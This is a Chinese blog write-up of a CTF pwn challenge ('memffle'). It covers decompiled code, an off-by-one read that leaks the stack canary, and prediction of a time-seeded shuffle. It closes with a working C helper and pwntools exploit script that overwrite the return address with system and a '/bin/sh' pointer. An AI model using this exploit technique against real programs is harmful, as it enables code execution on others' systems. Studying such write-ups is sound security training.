前言
立个flag,未来一年,一周至少一篇pwn
正文
网鼎杯第二场 memffle
如果有不对的地方,恳请师傅们指正
checksec
保护全开,通常是俩种解法,一个是绕过canary,一个是覆盖hook
程序逻辑
int __cdecl main(int argc, const char **argv, const char **envp)
{
time_t seed; // ST1C_4
seed = time(0);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
srand(seed);
sub_C58();
return 0;
}
以当前时间戳作为seed,进入sub_c58函数
unsigned int sub_C58()
{
int N; // [esp+4h] [ebp-224h]
unsigned int v2; // [esp+8h] [ebp-220h]
char v3; // [esp+Ch] [ebp-21Ch]
int v4; // [esp+20Ch] [ebp-1Ch]
int v5; // [esp+210h] [ebp-18h]
int v6; // [esp+214h] [ebp-14h]
int v7; // [esp+218h] [ebp-10h]
unsigned int v8; // [esp+21Ch] [ebp-Ch]
v8 = __readgsdword(0x14u);
v2 = ((unsigned int)&system & 0xFF000) >> 12;
memset(&v3, 0, 0x200u);
v4 = 0;
v5 = 0;
v6 = 0;
v7 = 0;
printf("Your name is? ");
readdata((int)&v4, 16);
printf("Welcome to my in-memory shuffling service, %s!\n", &v4);
printf("Here's a gift for you: %x\n", v2);
printf("How many numbers do you want to input? ");
_isoc99_scanf("%d", &N);
if ( N <= 0 )
{
puts("A positive N is required!");
exit(0);
}
read_r((int)&v3, N);
puts("The array is:");
print_r((int)&v3, N);
shuffing((int)&v3, N);
puts("After shuffling, the array is:");
print_r((int)&v3, N);
return __readgsdword(0x14u) ^ v8;
}
程序会输出system函数地址的一个byte,system最后3位是不变的(0xb7e54310)。那么不知道的就只有半个byte(e的位置)。
程序会让你输入名字,然后打印名字。再让你输入一个数字。代表数组的长度。接着输入这个数组,乱序后,再输出。
看到shuffing函数
int __cdecl shuffing(int a1, int a2)
{
int result; // eax
int v3; // eax
int v4; // ST0C_4
int *v5; // edx
int i; // [esp+4h] [ebp-14h]
result = a2 - 1;
for ( i = a2 - 1; i >= 0; --i )
{
v3 = rand();
v4 = *(_DWORD *)(4 * i + a1);
*(_DWORD *)(a1 + 4 * i) = *(_DWORD *)(4 * (v3 % (i + 1)) + a1);
v5 = (int *)(a1 + 4 * (v3 % (i + 1)));
result = v4;
*v5 = v4;
}
return result;
}
简单说就是
for(j=a2-1;j>-1;j--){
i = rand();
v4=v[j];
v[j]=v[i%(j+1)];
v[i%(j+1)]=v4;
}
因为输入的大小没有限制。这里显然存在栈溢出。但是这个是有canary保护的,需要先泄露canary。
point
int __cdecl readdata(int a1, int a2)
{
int result; // eax
char v3; // [esp+Bh] [ebp-Dh]
int i; // [esp+Ch] [ebp-Ch]
for ( i = 0; ; ++i )
{
result = i;
if ( i > a2 )
break;
v3 = getchar();
if ( v3 == '\n' )
{
result = i + a1;
*(_BYTE *)(i + a1) = 0;
return result;
}
*(_BYTE *)(a1 + i) = v3;
}
return result;
}
i>a2的时候才中断,导致v4多读了一位。
int v4; // [esp+20Ch] [ebp-1Ch]
int v5; // [esp+210h] [ebp-18h]
int v6; // [esp+214h] [ebp-14h]
int v7; // [esp+218h] [ebp-10h]
unsigned int v8; // [esp+21Ch] [ebp-Ch]
v4是ebp-1ch,多读一位正好覆盖canary第一位。canary最后一位为0,覆盖了0的话,会导致canary被printf读出(\x00终止)
常见canary如下
exp
printrand.c
#include <stdio.h>
#include <time.h>
int main(){
time_t seed =time(0);
printf("%lu ",seed);
srand(seed);
int v[138];
int i,j,v4;
for(j=0;j<139;j++){
v[j]=j+1;
}
for(j=138;j>-1;j--){
i = rand();
v4=v[j];
v[j]=v[i%(j+1)];
v[i%(j+1)]=v4;
}
// v4= v[4];
// v[4] = v[100];
// v[100]=v4;
printf("\n");
printf("canary:%d\n",v[132]);
printf("ret:%d\n",v[136]);
printf("str:%d\n",v[138]);
for (j=0;j<139;j++){
printf("%u ", v[j]);
}
}
exp.py
from pwn import *
import os
#context.log_level = 'debug'
p = process("./pwn2")
output=os.popen("./printrand")
e = ELF("pwn2")
x,ret,canary,str_sh,y= output.read().split("\n")
print ret,canary,str_sh
sss = [ret,canary,str_sh]
for i in sss:
if i.startswith("ret"):
ret = i[4:]
if i.startswith("canary"):
canary=i[7:]
if i.startswith("str"):
str_sh=i[4:]
print ret,canary,str_sh
print y
p.readuntil(" is? ")
p.sendline("12345678901234567")
canary_real = p.readuntil("\n")
canary_real = u32("\x00"+canary_real[-9:-6])
print canary_real
#gdb.attach(p)
gift = (p.readuntil("\n")[-3:-1]).zfill(2)
print gift
p.readuntil("input? ")
p.sendline("139")
gdb.attach(p)
for i in range(139):
p.readuntil(": ")
#p.sendline(str(i+1))
if str(i+1)==ret:
p.sendline(str(int("0xb75"+gift+"310",16)))
elif str(i+1)==canary:
p.sendline(str(canary_real))
elif str(i+1)==str_sh:
p.sendline(str(int("0xb75"+gift+"310",16)+0x122a3c))
else:
p.sendline("1111")
p.interactive()
大佬能不能没事抽点时间也发点php代码审计的啊.
时间: 2018-09-04 at 17:25 回复php的不太好发,容易出事情
时间: 2018-09-07 at 11:00 回复